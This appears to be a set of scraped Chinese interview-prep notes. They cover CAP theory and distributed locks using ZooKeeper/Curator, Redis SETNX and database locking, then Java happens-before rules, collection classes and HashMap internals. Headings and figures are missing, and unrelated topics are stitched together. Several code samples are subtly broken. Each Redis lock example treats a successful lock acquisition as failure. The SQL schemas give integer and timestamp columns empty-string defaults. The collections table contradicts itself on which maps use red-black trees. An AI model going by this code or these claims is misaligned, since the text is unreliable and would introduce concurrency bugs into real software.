链接:flink参考文章
参考链接: linux常见面试题
参考文章:linux查看cpu占用最高的进程
参考:文章-分布式锁
随着互联网技术的不断发展,用户量的不断增加,越来越多的业务场景需要用到分布式系统。
分布式系统有一个著名的理论CAP,指在一个分布式系统中,最多只能同时满足下面三项中的两项:
一致性(Consistency):在分布式系统中的所有数据备份,在同一时刻是否同样的值(等同于所有节点访问同一份最新的数据副本)
可用性(Availability):保证每个请求不管成功或者失败都有响应
分区容错性(Partition tolerance):系统中任意信息的丢失或失败不会影响系统的继续运作
所以在设计系统时,往往需要权衡,在CAP中作选择,要么AP,要么CP、要么AC。
当然,这个理论也并不一定完美,不同系统对CAP的要求级别不一样,选择需要考虑方方面面。
而在分布式系统中访问共享资源就需要一种互斥机制,来防止彼此之间的互相干扰,以保证一致性,这个时候就需要使用分布式锁。
当在分布式模型下,数据只有一份(或有限制),此时需要利用锁技术来控制某一时刻修改数据的进程数。这种锁即为分布式锁。
为了保证一个方法或属性在高并发情况下的同一时间只能被同一个线程执行,在传统单体应用单机部署的情况下,可以使用并发处理相关的功能进行互斥控制。但是,随着业务发展的需要,原单体单机部署的系统被演化成分布式集群系统后,由于分布式系统多线程、多进程并且分布在不同机器上,这将使原单机部署情况下的并发控制锁策略失效,单纯的应用并不能提供分布式锁的能力。为了解决这个问题就需要一种跨机器的互斥机制来控制共享资源的访问,这就是分布式锁要解决的问题!
互斥性:在分布式系统环境下,一个方法在同一时间只能被一个机器的一个线程执行;
高可用的获取锁与释放锁;
高性能的获取锁与释放锁;
可重入性:具备可重入特性,具备锁失效机制,防止死锁,即就算一个客户端持有锁的期间崩溃而没有主动释放锁,也需要保证后续其他客户端能够加锁成功
非阻塞:具备非阻塞锁特性,即没有获取到锁将直接返回获取锁失败
互联网秒杀(商品库存)
抢优惠券
主要有几种实现方式:
基于数据库实现
基于Zookeeper实现
基于Redis实现
分布式锁对比
从理解的难易程度角度(从低到高):数据库 > 缓存 > Zookeeper
从实现的复杂性角度(从低到高):Zookeeper >= 缓存 > 数据库
从性能角度(从高到低):缓存 > Zookeeper >= 数据库
从可靠性角度(从高到低):Zookeeper > 缓存 > 数据库
ZooKeeper是一个为分布式应用提供一致性服务的开源组件,它内部是一个分层的文件系统目录树结构,规定同一个目录下只能有一个唯一文件名。
基于ZooKeeper实现分布式锁的步骤如下:
创建一个目录mylock;
线程A想获取锁就在mylock目录下创建临时顺序节点;
获取mylock目录下所有的子节点,然后获取比自己小的兄弟节点,如果不存在,则说明当前线程顺序号最小,获得锁;
线程B获取所有节点,判断自己不是最小节点,设置监听比自己次小的节点;
线程A处理完,删除自己的节点,线程B监听到变更事件,判断自己是不是最小的节点,如果是则获得锁。
业界推荐直接使用Apache的开源库Curator,它是一个ZooKeeper客户端,Curator提供的InterProcessMutex是分布式锁的实现,acquire方法用于获取锁,release方法用于释放锁。
使用方式很简单:
InterProcessMutex interProcessMutex = new InterProcessMutex(client,"/anyLock");
interProcessMutex.acquire();
interProcessMutex.release();
其他分布式锁的核心源码如下:
private boolean internalLockLoop(long startMillis, Long millisToWait, String ourPath) throws Exception{
boolean haveTheLock = false;
boolean doDelete = false;
try {
if ( revocable.get() != null ) {
client.getData().usingWatcher(revocableWatcher).forPath(ourPath);
}
while ((client.getState() == CuratorFrameworkState.STARTED) && !haveTheLock ) {
// 获取当前所有节点排序后的集合
List<String> children = getSortedChildren();
// 获取当前节点的名称
String sequenceNodeName = ourPath.substring(basePath.length() + 1); // +1 to include the slash
// 判断当前节点是否是最小的节点
PredicateResults predicateResults = driver.getsTheLock(client, children, sequenceNodeName, maxLeases);
if ( predicateResults.getsTheLock() ) {
// 获取到锁
haveTheLock = true;
} else {
// 没获取到锁,对当前节点的上一个节点注册一个监听器
String previousSequencePath = basePath + "/" + predicateResults.getPathToWatch();
synchronized(this){
Stat stat = client.checkExists().usingWatcher(watcher).forPath(previousSequencePath);
if ( stat != null ){
if ( millisToWait != null ){
millisToWait -= (System.currentTimeMillis() - startMillis);
startMillis = System.currentTimeMillis();
if ( millisToWait <= 0 ){
doDelete = true; // timed out - delete our node
break;
}
wait(millisToWait);
}else{
wait();
}
}
}
// else it may have been deleted (i.e. lock released). Try to acquire again
}
}
}
catch ( Exception e ) {
doDelete = true;
throw e;
} finally{
if ( doDelete ){
deleteOurPath(ourPath);
}
}
return haveTheLock;
}
其实 Curator 实现分布式锁的底层原理和上面分析的是差不多的。如图详细描述其原理:
另外,可基于Zookeeper自身的特性和原生Zookeeper API自行实现分布式锁。
优点:
可靠性非常高
性能较好
CAP模型属于CP,基于ZAB一致性算法实现
缺点:
性能并不如Redis(主要原因是在写操作,即获取锁释放锁都需要在Leader上执行,然后同步到follower)
实现复杂度高
主要是基于命令:SETNX key value
命令官方文档:https://redis.io/commands/setnx
用法可参考:Redis命令参考
获取锁的时候,使用setnx加锁,并使用expire命令为锁添加一个超时时间,超过该时间则自动释放锁,锁的value值为一个随机生成的UUID,通过此在释放锁的时候进行判断。
获取锁的时候还设置一个获取的超时时间,若超过这个时间则放弃获取锁。
释放锁的时候,通过UUID判断是不是该锁,若是该锁,则执行delete进行锁释放。
优点:
缺点:
以减库存接口为例子,访问接口的时候自动减商品的库存
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
//获取redis中的库存
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
return "success";
}
}
表示:
这种简单的从Redis读取、判断值再减1保存到Redis的操作,很容易在并发场景下出问题:
比如:
假设商品的库存有50个,有3个用户同时访问该接口,先是同时读取Redis中商品的库存值,即都是读取到了50,即同时执行到了这一行:
int stock = Integer.valueOf(valueOperations.get("stock"));
然后减1,即到了这一行:
int newStock = stock - 1;
此时3个用户的realStock都是49,然后3个用户都去设置stock为49,那么就会产生库存明明被3个用户抢了,理论上是应该减去3的,结果库存数只减去了1导致商品超卖。
这种问题的产生原因是因为读取库存、减库存、保存到Redis这几步并不是原子操作
那么可以使用加并发锁synchronized来解决:
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
synchronized (this) {
//获取redis中的库存
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
}
return "success";
}
}
注意:在Java中关键字synchronized可以保证在同一时刻,只有一个线程可以执行某个方法或某个代码块。
以上的代码在单体模式下并没太大问题,但是在分布式或集群架构环境下存在问题,比如架构如下:
在分布式或集群架构下,synchronized只能保证当前的主机在同一时刻只能有一个线程执行减库存操作,但如图同时有多个请求过来访问的时候,不同主机在同一时刻依然是可以访问减库存接口的,这就导致问题1(商品超卖)在集群架构下依然存在。
解决方法
使用如下方案(二)的分布式锁进行解决; 注意:方案(一)并不是分布式锁
分布式锁的简单实现图如下:
简单的实现代码如下:
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
String lockKey = "product_001";
//加锁: setnx
Boolean isSuccess = valueOperations.setIfAbsent(lockKey, "1");
if(null == isSuccess || isSuccess) {
System.out.println("服务器繁忙, 请稍后重试");
return "error";
}
//------ 执行业务逻辑 ----start------
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
//执行业务操作减库存
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
//------ 执行业务逻辑 ----end------
//释放锁
redisTemplate.delete(lockKey);
return "success";
}
}
其实就是对每一个商品加一把锁,代码里面是product_001
以上的代码方式是有可能会造成死锁的,比如说加锁成功之后,扣减库存的逻辑可能抛异常了,即并不会执行到释放锁的逻辑,那么该商品锁是一直没有释放,会成为死锁的,其他请求完全无法扣减该商品的
使用try...catch...finally
的方式可以解决抛异常的问题,如下:
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
String lockKey = "product_001";
try {
//加锁: setnx
Boolean isSuccess = valueOperations.setIfAbsent(lockKey, "1");
if(null == isSuccess || isSuccess) {
System.out.println("服务器繁忙, 请稍后重试");
return "error";
}
//------ 执行业务逻辑 ----start------
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
//执行业务操作减库存
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
//------ 执行业务逻辑 ----end------
} finally {
//释放锁
redisTemplate.delete(lockKey);
}
return "success";
}
}
那么上面的方式是不是能够解决死锁的问题呢?
其实不然,除了抛异常之外,比如程序崩溃、服务器宕机、服务器重启、请求超时被终止、发布、人为kill等都有可能导致释放锁的逻辑没有执行,比如对商品加分布式锁成功之后,在扣减库存的时候服务器正在执行重启,会导致没有执行释放锁。
可以通过对锁设置超时时间来防止死锁的发生,使用Redis的expire命令可以对key进行设置超时时间,如图:
代码实现如下:
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
String lockKey = "product_001";
try {
//加锁: setnx
Boolean isSuccess = valueOperations.setIfAbsent(lockKey, "1");
//expire增加超时时间
redisTemplate.expire(lockKey, 10, TimeUnit.SECONDS);
if(null == isSuccess || isSuccess) {
System.out.println("服务器繁忙, 请稍后重试");
return "error";
}
//------ 执行业务逻辑 ----start------
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
//执行业务操作减库存
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
//------ 执行业务逻辑 ----end------
} finally {
//释放锁
redisTemplate.delete(lockKey);
}
return "success";
}
}
加锁成功之后,把锁的超时时间设置为10秒,即10秒之后自动会释放锁,避免死锁的发生。
但是上面的方式同样会产生死锁问题,加锁和对锁设置超时时间并不是原子操作,在加锁成功之后,即将执行设置超时时间的时候系统发生崩溃,同样还是会导致死锁。
改进图案如下:
对此,有两种做法:
lua脚本
set原生命令(Redis 2.6.12版本及以上)
一般是推荐使用set命令,Redis官方在2.6.12版本对set命令增加了NX、EX、PX等参数,即可以将上面的加锁和设置时间放到一条命令上执行,通过set命令即可:
命令官方文档:https://redis.io/commands/set
用法可参考:Redis命令参考
SET key value NX 等同于 SETNX key value命令,并且可以使用EX参数来设置过期时间
注意:其实目前在Redis 2.6.12版本之后,所说的setnx命令,并非单单指Redis的SETNX key value命令,一般是代指Redis中对set命令加上nx参数进行使用,一般不会直接使用SETNX key value命令了
注意:Redis2.6.12之前的版本,只能通过lua脚本来保证原子性了。
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
String lockKey = "product_001";
try {
//加锁: setnx 和 expire增加超时时间
Boolean isSuccess = valueOperations.setIfAbsent(lockKey, "1", 10, TimeUnit.SECONDS);
if(null == isSuccess || isSuccess) {
System.out.println("服务器繁忙, 请稍后重试");
return "error";
}
//------ 执行业务逻辑 ----start------
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
//执行业务操作减库存
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
//------ 执行业务逻辑 ----end------
} finally {
//释放锁
redisTemplate.delete(lockKey);
}
return "success";
}
}
以上的方式其实还是存在着问题,在高并发场景下会存在问题,超时时间设置不合理导致的问题
大概的流程图可参考:
流程:
解决方法也很简单:
实现的代码如下:
@Service
public class RedisLockDemo {
@Autowired
private StringRedisTemplate redisTemplate;
public String deduceStock() {
ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();
String lockKey = "product_001";
String clientId = UUID.randomUUID().toString();
try {
//加锁: setnx 和 expire增加超时时间
Boolean isSuccess = valueOperations.setIfAbsent(lockKey, clientId, 10, TimeUnit.SECONDS);
if(null == isSuccess || isSuccess) {
System.out.println("服务器繁忙, 请稍后重试");
return "error";
}
//------ 执行业务逻辑 ----start------
int stock = Integer.valueOf(valueOperations.get("stock"));
if (stock > 0) {
int newStock = stock - 1;
//执行业务操作减库存
valueOperations.set("stock", newStock + "");
System.out.println("扣减库存成功, 剩余库存:" + newStock);
} else {
System.out.println("库存已经为0,不能继续扣减");
}
//------ 执行业务逻辑 ----end------
} finally {
if (clientId.equals(valueOperations.get(lockKey))) {
//释放锁
redisTemplate.delete(lockKey);
}
}
return "success";
}
}
怎么在高并发的场景去实现一个高性能的分布式锁呢?
电商网站在大促的时候并发量很大:
(1)若抢购不是同一个商品,则可以增加Redis集群的cluster来实现,因为不是同一个商品,所以通过计算 key 的hash会落到不同的 cluster上;
(2)若抢购的是同一个商品,则计算key的hash值会落同一个cluster上,所以加机器也是没有用的。
针对第二个问题,可以使用库存分段锁的方式去实现。
分段锁
假如产品1有200个库存,可以将这200个库存分为10个段存储(每段20个),每段存储到一个cluster上;将key使用hash计算,使这些key最后落在不同的cluster上。
每个下单请求锁了一个库存分段,然后在业务逻辑里面,就对数据库或者是Redis中的那个分段库存进行操作即可,包括查库存 -> 判断库存是否充足 -> 扣减库存。
具体可以参照 ConcurrentHashMap 的源码去实现,它使用的就是分段锁。
高性能分布式锁具体可参考链接:每秒上千订单场景下的分布式锁高并发优化实践!【石杉的架构笔记】
主要有两种方式:
悲观锁
乐观锁
利用select * form table where xx=yy for update 排他锁
注意:这里需要注意的是 where xx=yy,xx字段必须要走索引,否则会锁表。有些情况下,比如表不大,mysql优化器会不走这个索引,导致锁表问题。
**核心思想:**以「悲观的心态」操作资源,无法获得锁成功,就一直阻塞着等待。
注意:该方式有很多缺陷,一般不建议使用。
实现:
创建一张资源锁表:
CREATE TABLE `resource_lock` (
`id` int(4) NOT NULL AUTO_INCREMENT COMMENT '主键',
`resource_name` varchar(64) NOT NULL DEFAULT '' COMMENT '锁定的资源名',
`owner` varchar(64) NOT NULL DEFAULT '' COMMENT '锁拥有者',
`desc` varchar(1024) NOT NULL DEFAULT '备注信息',
`update_time` timestamp NOT NULL DEFAULT '' COMMENT '保存数据时间,自动生成',
PRIMARY KEY (`id`),
UNIQUE KEY `uidx_resource_name` (`resource_name `) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='锁定中的资源';
注意:resource_name 锁资源名称必须有唯一索引
使用事务查询更新:
@Transaction
public void lock(String name) {
ResourceLock rlock = exeSql("select * from resource_lock where resource_name = name for update");
if (rlock == null) {
exeSql("insert into resource_lock(reosurce_name,owner,count) values (name, 'ip',0)");
}
}
使用 for update 锁定的资源 :
如果执行成功,会立即返回,执行插入数据库,后续再执行一些其他业务逻辑,直到事务提交,执行结束;
如果执行失败,就会一直阻塞着。
可以在数据库客户端工具上测试出来这个效果,当在一个终端执行了 for update,不提交事务。在另外的终端上执行相同条件的 for update,会一直卡着
虽然也能实现分布式锁的效果,但是会存在性能瓶颈。
简单易用,好理解,保障数据强一致性。
1)在 RR 事务级别,select 的 for update 操作是基于间隙锁(gap lock) 实现的,是一种悲观锁的实现方式,所以存在阻塞问题。
2)高并发情况下,大量请求进来,会导致大部分请求进行排队,影响数据库稳定性,也会耗费服务的CPU等资源。
当获得锁的客户端等待时间过长时,会提示:
[40001][1205] Lock wait timeout exceeded; try restarting transaction
3)如果优先获得锁的线程因为某些原因,一直没有释放掉锁,可能会导致死锁的发生。
4)锁的长时间不释放,会一直占用数据库连接,可能会将数据库连接池撑爆,影响其他服务。
5)MySql数据库会做查询优化,即便使用了索引,优化时发现全表扫效率更高,则可能会将行锁升级为表锁,此时可能就更悲剧了。
6)不支持可重入特性,并且超时等待时间是全局的,不能随便改动。
所谓乐观锁与悲观锁最大区别在于基于 CAS思想 ,表中添加一个时间戳或者是版本号的字段来实现,update xx set version=new_version where xx=yy and version=Old_version,通过增加递增的版本号字段实现乐观锁。
不具有互斥性,不会产生锁等待而消耗资源,操作过程中认为不存在并发冲突,只有update version失败后才能觉察到。
抢购、秒杀就是用了这种实现以防止超卖的现象。
实现:
创建一张资源锁表:
CREATE TABLE `resource` (
`id` int(4) NOT NULL AUTO_INCREMENT COMMENT '主键',
`resource_name` varchar(64) NOT NULL DEFAULT '' COMMENT '资源名',
`share` varchar(64) NOT NULL DEFAULT '' COMMENT '状态',
`version` int(4) NOT NULL DEFAULT '' COMMENT '版本号',
`desc` varchar(1024) NOT NULL DEFAULT '备注信息',
`update_time` timestamp NOT NULL DEFAULT '' COMMENT '保存数据时间,自动生成',
PRIMARY KEY (`id`),
UNIQUE KEY `uidx_resource_name` (`resource_name `) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='资源';
为表添加一个字段,版本号或者时间戳都可以。通过版本号或者时间戳,来保证多线程同时间操作共享资源的有序性和正确性。
伪代码实现:
Resrouce resource = exeSql("select * from resource where resource_name = xxx");
boolean succ = exeSql("update resource set version= 'newVersion' ... where resource_name = xxx and version = 'oldVersion'");
if (!succ) {
// 发起重试
}
实际代码中可以写个while循环不断重试,版本号不一致,更新失败,重新获取新的版本号,直到更新成功。
优缺点
优点:
实现简单,复杂度低
保障数据一致性
缺点:
性能低,并且有锁表的风险
可靠性差
非阻塞操作失败后,需要轮询,占用CPU资源
长时间不commit或者是长时间轮询,可能会占用较多的连接资源
参考文章:分布式事务
参考文章url:
锁的 happens-before关系
happens-before规则
从这段代码看看happens-before关系,线程A先执行store(),线程B后执行load()
这里有13个happens-before关系。①~⑤是线程A的程序顺序关系,⑥~⑩是线程B的程序顺序关系,⑪是锁规则关系,⑫~⑬是传递性关系
int value = 0;
boolean finish = 0;
//线程A
void store(){
//A:加锁前的操作
synchronized(this){ //B:加锁
value = 1; //C:写value
finish = true; //D:写finish
} //E:解锁
//F:解锁后的操作
}
//线程B
void load(){
//G:加锁前的操作
synchronized(this){ //H:加锁
if(finish){ //I:读finish
assert value == 1; //J:读value
}
} //K:解锁
//L:解锁后的操作
}
锁的图解:
从happens-before关系分析可见性
①~⑩根据程序顺序规则,只要不重排序数据依赖的指令,执行结果就是正确的,就可以保证在单线程内的可见性。
⑪根据锁规则,E happens-before H,也就是线程A解锁 happens-before 线程B加锁。
⑫根据传递性规则,线程A解锁前的操作都需要对线程B加锁可见,ABCDE happens-before H,也就是线程A解锁及其先前操作 happens-before 线程B加锁。
⑬再根据传递性规则,线程A解锁前的操作都需要对线程B加锁之后的操作可见,ABCDE happens-before HIJKL,最终得出线程A解锁及其先前操作 happens-before 线程B加锁及其后续操作。
这样来看,为了保证解锁及其之前操作的可见性,需要把解锁线程的本地内存刷新到主内存去。同时为了保证加锁线程读到最新的值,需要将本地内存的共享变量设为无效,重新从主内存中读取。
参考url:
synchronized 锁的实现原理
参考 redis分布式锁的实现方案
redis中的锁又是怎么样去实现的
锁有哪些类型?
对事务如何理解?
ArrayList:底层是数组
LinkedList:底层是链表
Vector:底层是数组
HashSet:底层是哈希表
TreeSet:红黑树
HashMap:数组+链表
Hashtable:数组+链表
LinkedHashMap:数组+链表+红黑树
集合:引用类型(存储基本类型是自动装箱)
数组:基本类型、引用类型
集合:不固定、可任意扩展
数组:固定,不能改变容量
不受容器大小限制,可以随时添加、删除元素,提供了大量操作元素的方法(判断、获取等)
List集合
List集合的特点:
可重复性(可以添加相同的元素)、有序(存取顺序相同)
List的主要方法有:
add、get、remove、set、iterator、contains、addAll、removeAll、indexOf、toArray、clear、isEmpty
ArrayList集合
java.util.ArrayList是大小可变的数组的实现,存储在内的数据称为元素。此类提供一些方法来操作内部存储的元素。ArrayList中可以不断添加元素,其大小也自动增长。
java.util.ArrayList集合数据存储的结构是数组结构。元素增删慢,查找快,由于日常开发中使用最多的功能为查询数据、遍历数据,所以ArrayList集合是最常用的集合。
泛型:即泛指任意类型,幼教参数化类型,对具体类型的使用起到辅助作用,类似于方法的参数
next():返回迭代的下一个元素
hasNext():如果仍有元素可以迭代,则返回true
注意:列表迭代器是List体系独有的遍历方式,可以在对集合遍历的同时进行添加、删除等操作
但是必须通过调用列表迭代器的方法来实现
线程同步,Vector线程安全,ArrayList线程不安全,因为Vector的实现有synchronized锁
效率问题,Vector效率低,ArrayList效率高
增长数量,Vector以2倍增长,ArrayList以1.5倍增长
(1) ArrayList和Vector使用数组存储元素;LinkedList使用链表存储元素
(2) ArrayList和Vector插入删除数据时,需要搬运数据,效率较差;LinkedList使用链表,不需要搬运数据,效率高。
(3) ArrayList和Vectory查询时,按数组下标查询,不需要遍历,效率高;LinkedList需要遍历,查询效率底。
ArrayList 不是线程安全的,如果遇到多线程场景,可以通过 Collections 的 synchronizedList 方法将其转换成线程安全的容器后再使用。例如像下面这样:
List<String> synchronizedList = Collections.synchronizedList(list);
synchronizedList.add("aaa");
synchronizedList.add("bbb");
for (int i = 0; i < synchronizedList.size(); i++) {
System.out.println(synchronizedList.get(i));
}
ArrayList 中的数组定义如下:
private transient Object[] elementData;
public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
可以看到 ArrayList 实现了 Serializable 接口,这意味着 ArrayList 支持序列化。transient 的作用是说不希望 elementData 数组被序列化,重写了 writeObject 实现:
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
*// Write out element count, and any hidden stuff*
int expectedModCount = modCount;
s.defaultWriteObject();
*// Write out array length*
s.writeInt(elementData.length);
*// Write out all elements in the proper order.*
for (int i=0; i<size; i++)
s.writeObject(elementData[i]);
if (modCount != expectedModCount) {
throw new ConcurrentModificationException();
}
每次序列化时,先调用 defaultWriteObject() 方法序列化 ArrayList 中的非 transient 元素,然后遍历 elementData,只序列化已存入的元素,这样既加快了序列化的速度,又减小了序列化之后的文件大小。
不可重复(元素具有唯一性)、无序(元素的存取顺序是不固定的)
Set的主要方法有:
add、remove、iterator、contains、addAll、removeAll、toArray、clear、isEmpty
HashSet:内部的数据结构是哈希表,是线程不安全的。
HashSet中保证集合中元素是唯一的方法:通过对象的hashCode和equals方法来完成对象唯一性的判断。
如果对象的hashCode值不同,则不用判断equals方法,就直接存到HashSet中。
如果对象的hashCode值相同,需要用equals方法进行比较,如果结果为true,则视为相同元素,不存,如果结果为false,视为不同元素,进行存储。
注意:如果元素要存储到HashCode中,必须覆盖hashCode方法和equals方法。
TreeSet:可以对Set集合中的元素进行排序,是线程不安全的。
**TreeSet:**中判断元素唯一性的方法是:根据比较方法的返回结果是否为0,如果是0,则是相同元素,不存,如果不是0,则是不同元素,存储。
HashSet 是基于 HashMap 实现的,HashSet的值存放于HashMap的key上,HashMap的value统一为PRESENT,因此 HashSet 的实现比较简单,相关 HashSet 的操作,基本上都是直接调用底层 HashMap 的相关方法来完成,HashSet 不允许重复的值。
向HashSet 中add ()元素时,判断元素是否存在的依据,不仅要比较hash值,同时还要结合equles 方法比较。
HashSet 中的add ()方法会使用HashMap 的put()方法。
HashMap 的 key 是唯一的,由源码可以看出 HashSet 添加进去的值就是作为HashMap 的key,并且在HashMap中如果K/V相同时,会用新的V覆盖掉旧的V,然后返回旧的V。所以不会重复( HashMap 比较key是否相等是先比较hashcode 再比较equals )。
以下是HashSet 部分源码:
private static final Object PRESENT = new Object();
private transient HashMap<E,Object> map;
public HashSet() {
map = new HashMap<>();
}
public boolean add(E e) {
// 调用HashMap的put方法,PRESENT是一个至始至终都相同的虚值
return map.put(e, PRESENT)==null;
}
元素自身具备比较功能,即自然排序,需要实现Comparable接口,并覆盖其compareTo方法。
元素自身不具备比较功能,则需要实现Comparator接口,并覆盖其compare方法。
注意:LinkedHashSet是一种有序的Set集合,即其元素的存入和输出的顺序是相同的。
List、Set、Map 是否继承自 Collection 接口?List、Map、Set 三个接口存取元素时,各有什么特点?
Java 容器分为 Collection 和 Map 两大类,Collection集合的子接口有Set、List、Queue三种子接口。我们比较常用的是Set、List,Map接口不是collection的子接口。
Collection集合主要有List和Set两大接口
List:一个有序(元素存入集合的顺序和取出的顺序一致)容器,元素可以重复,可以插入多个null元素,元素都有索引。常用的实现类有 ArrayList、LinkedList 和 Vector。
Set:一个无序(存入和取出顺序有可能不一致)容器,不可以存储重复元素,只允许存入一个null元素,必须保证元素唯一性。Set 接口常用实现类是 HashSet、LinkedHashSet 以及 TreeSet。
Map是一个键值对集合,存储键、值和之间的映射。 Key无序,唯一;value 不要求有序,允许重复。Map没有继承于Collection接口,从Map集合中检索元素时,只要给出键对象,就会返回对应的值对象。
Map 的常用实现类:HashMap、TreeMap、HashTable、LinkedHashMap、ConcurrentHashMap
关系图如下:
线程同步,Hashtable线程安全,HashMap线程不安全
效率问题,Hashtable效率低,HashMap效率高
HashMap可以使用null作为key,Hashtable不可以使用null为key
HashMap使用的是新实现,继承AbstractMap,而Hashtable是继承Dictionary类,实现比较老
Hash算法不同,HashMap的hash算法比Hashtable的hash算法效率高
HashMap把Hashtable的contains方法去掉了,改成containsValue和containsKey。因为contains方法容易让人引起误解。
取值不同,HashMap用的是Iterator接口,而Hashtable中还有使用Enumeration接口
HashMap概述: HashMap是基于哈希表的Map接口的非同步实现。此实现提供所有可选的映射操作,并允许使用null值和null键。此类不保证映射的顺序,特别是它不保证该顺序恒久不变。
HashMap的数据结构: 在Java编程语言中,最基本的结构就是两种,一个是数组,另外一个是模拟指针(引用),所有的数据结构都可以用这两个基本结构来构造的,HashMap也不例外。HashMap实际上是一个“链表散列”的数据结构,即数组和链表的结合体。
HashMap基于hashing原理,我们通过put()和get()方法储存和获取对象。当我们将键值对传递给put()方法时,它调用键对象的hashCode()方法来计算hashcode,让后找到bucket位置来储存值对象。当获取对象时,通过键对象的equals()方法找到正确的键值对,然后返回值对象。HashMap使用链表来解决碰撞问题,当发生碰撞了,对象将会储存在链表的下一个节点中。 HashMap在每个链表节点中储存键值对对象。
这里需要区分一下,JDK1.7和 JDK1.8之后的 HashMap 存储结构。在JDK1.7及之前,是用数组加链表的方式存储的。
但是,众所周知,当链表的长度特别长的时候,查询效率将直线下降,查询的时间复杂度为 O(n)。因此,JDK1.8 把它设计为达到一个特定的阈值之后,就将链表转化为红黑树。
这里简单说下红黑树的特点:
每个节点只有两种颜色:红色或者黑色
根节点必须是黑色
每个叶子节点(NIL)都是黑色的空节点
从根节点到叶子节点,不能出现两个连续的红色节点
从任一节点出发,到它下边的子节点的路径包含的黑色节点数目都相同
由于红黑树,是一个自平衡的二叉搜索树,因此可以使查询的时间复杂度降为O(logn)。(红黑树不是本文重点,不了解的童鞋可自行查阅相关资料哈)
在 HashMap源码中,比较重要的常用变量,主要有以下这些。还有两个内部类来表示普通链表的节点和红黑树节点
//默认的初始化容量为16,必须是2的n次幂
static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16
//最大容量为 2^30
static final int MAXIMUM_CAPACITY = 1 << 30;
//默认的加载因子0.75,乘以数组容量得到的值,用来表示元素个数达到多少时,需要扩容。
//为什么设置 0.75 这个值呢,简单来说就是时间和空间的权衡。
//若小于0.75如0.5,则数组长度达到一半大小就需要扩容,空间使用率大大降低,
//若大于0.75如0.8,则会增大hash冲突的概率,影响查询效率。
static final float DEFAULT_LOAD_FACTOR = 0.75f;
//刚才提到了当链表长度过长时,会有一个阈值,超过这个阈值8就会转化为红黑树
static final int TREEIFY_THRESHOLD = 8;
//当红黑树上的元素个数,减少到6个时,就退化为链表
static final int UNTREEIFY_THRESHOLD = 6;
//链表转化为红黑树,除了有阈值的限制,还有另外一个限制,需要数组容量至少达到64,才会树化。
//这是为了避免,数组扩容和树化阈值之间的冲突。
static final int MIN_TREEIFY_CAPACITY = 64;
//存放所有Node节点的数组
transient Node<K,V>[] table;
//存放所有的键值对
transient Set<Map.Entry<K,V>> entrySet;
//map中的实际键值对个数,即数组中元素个数
transient int size;
//每次结构改变时,都会自增,fail-fast机制,这是一种错误检测机制。
//当迭代集合的时候,如果结构发生改变,则会发生 fail-fast,抛出异常。
transient int modCount;
//数组扩容阈值
int threshold;
//加载因子
final float loadFactor;
//普通单向链表节点类
static class Node<K,V> implements Map.Entry<K,V> {
//key的hash值,put和get的时候都需要用到它来确定元素在数组中的位置
final int hash;
final K key;
V value;
//指向单链表的下一个节点
Node<K,V> next;
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}
}
//转化为红黑树的节点类
static final class TreeNode<K,V> extends LinkedHashMap.Entry<K,V> {
//当前节点的父节点
TreeNode<K,V> parent;
//左孩子节点
TreeNode<K,V> left;
//右孩子节点
TreeNode<K,V> right;
//指向前一个节点
TreeNode<K,V> prev; // needed to unlink next upon deletion
//当前节点是红色或者黑色的标识
boolean red;
TreeNode(int hash, K key, V val, Node<K,V> next) {
super(hash, key, val, next);
}
}
HashMap有四个构造函数可供我们使用,一起来看下:
//默认无参构造,指定一个默认的加载因子
public HashMap() {
this.loadFactor = DEFAULT_LOAD_FACTOR;
}
//可指定容量的有参构造,但是需要注意当前我们指定的容量并不一定就是实际的容量,下面会说
public HashMap(int initialCapacity) {
//同样使用默认加载因子
this(initialCapacity, DEFAULT_LOAD_FACTOR);
}
//可指定容量和加载因子,但是笔者不建议自己手动指定非0.75的加载因子
